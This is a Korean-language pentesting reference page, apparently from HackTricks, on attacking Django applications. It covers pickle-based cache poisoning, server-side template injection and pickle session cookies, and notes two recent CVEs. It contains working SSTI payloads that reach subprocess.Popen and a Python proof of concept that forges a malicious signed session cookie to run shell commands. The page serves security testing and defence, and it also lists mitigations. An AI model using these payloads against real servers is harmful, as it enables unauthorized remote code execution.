Django

Reading time: 3 minutes

{{#include /banners/hacktricks-training.md}}

캐시 조작을 통한 RCE

Django의 기본 캐시 저장 방법은 Python pickles로, 신뢰할 수 없는 입력이 언픽클될 경우 RCE로 이어질 수 있습니다. 공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기반 서버에서 RCE로 확대할 수 있습니다.

Django 캐시는 네 가지 장소 중 하나에 저장됩니다: Redis, 메모리, 파일, 또는 데이터베이스. Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터(Redis 주입 및 SQL 주입)이며, 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있습니다.

이 HackerOne 보고서는 SQLite 데이터베이스에 저장된 Django 캐시를 악용하는 훌륭하고 재현 가능한 예제를 제공합니다: https://hackerone.com/reports/1415436


서버 측 템플릿 주입 (SSTI)

Django 템플릿 언어(DTL)는 튜링 완전합니다. 사용자 제공 데이터가 템플릿 문자열로 렌더링되면(예: Template(user_input).render()를 호출하거나 |safe/format_html()가 자동 이스케이프를 제거할 때), 공격자는 전체 SSTI → RCE를 달성할 수 있습니다.

탐지

  1. 모든 비위생화된 요청 데이터를 포함하는 Template() / Engine.from_string() / render_to_string()에 대한 동적 호출을 찾습니다.
  2. 시간 기반 또는 산술 페이로드를 전송합니다:
django
{{7*7}}

렌더링된 출력에 49가 포함되면 입력이 템플릿 엔진에 의해 컴파일됩니다.

RCE로의 원시 단계

Django는 __import__에 대한 직접 접근을 차단하지만, Python 객체 그래프에 접근할 수 있습니다:

django
{{''.__class__.mro()[1].__subclasses__()}}

subprocess.Popen의 인덱스를 찾고(약 400–500, Python 빌드에 따라 다름) 임의의 명령을 실행합니다:

django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

더 안전한 범용 장치는 cls.__name__ == 'Popen'이 될 때까지 반복하는 것입니다.

같은 장치는 사용자 입력을 잘못 처리하는 Debug Toolbar 또는 Django-CMS 템플릿 렌더링 기능에도 적용됩니다.


피클 기반 세션 쿠키 RCE

설정 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'가 활성화되어 있거나 (피클을 역직렬화하는 사용자 정의 직렬 변환기), Django는 세션 쿠키를 복호화하고 역직렬화합니다 보기 코드 호출 전에. 따라서 유효한 서명 키(기본적으로 프로젝트 SECRET_KEY)를 소유하는 것만으로도 즉각적인 원격 코드 실행이 가능합니다.

익스플로잇 요구 사항

  • 서버가 PickleSerializer를 사용합니다.
  • 공격자가 settings.SECRET_KEY를 알고 있거나 추측할 수 있습니다 (GitHub, .env, 오류 페이지 등을 통해 유출됨).

개념 증명

python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

쿠키를 전송하면 페이로드가 WSGI 작업자의 권한으로 실행됩니다.

완화 조치: 기본 JSONSerializer를 유지하고, SECRET_KEY를 회전시키며, SESSION_COOKIE_HTTPONLY를 구성합니다.


최근 (2023-2025) 고위험 Django CVE 점검 사항

  • CVE-2025-48432이스케이프되지 않은 request.path를 통한 로그 주입 (2025년 6월 4일 수정). 공격자가 로그 파일에 개행/ANSI 코드를 밀어넣고 하위 로그 분석을 오염시킬 수 있습니다. 패치 수준 ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005JSONFieldQuerySet.values()/values_list()에서의 치명적인 SQL 주입 (CVSS 9.8). JSON 키를 조작하여 인용을 벗어나고 임의의 SQL을 실행합니다. 4.2.15 / 5.0.8에서 수정됨.

항상 X-Frame-Options 오류 페이지 또는 /static/admin/css/base.css 해시를 통해 정확한 프레임워크 버전을 식별하고, 해당되는 경우 위 사항을 테스트합니다.


참조

  • Django 보안 릴리스 – "Django 5.2.2, 5.1.10, 4.2.22가 CVE-2025-48432를 해결합니다" – 2025년 6월 4일.
  • OP-Innovate: "Django가 SQL 주입 결함 CVE-2024-42005를 해결하기 위해 보안 업데이트를 릴리스합니다" – 2024년 8월 11일.

{{#include /banners/hacktricks-training.md}}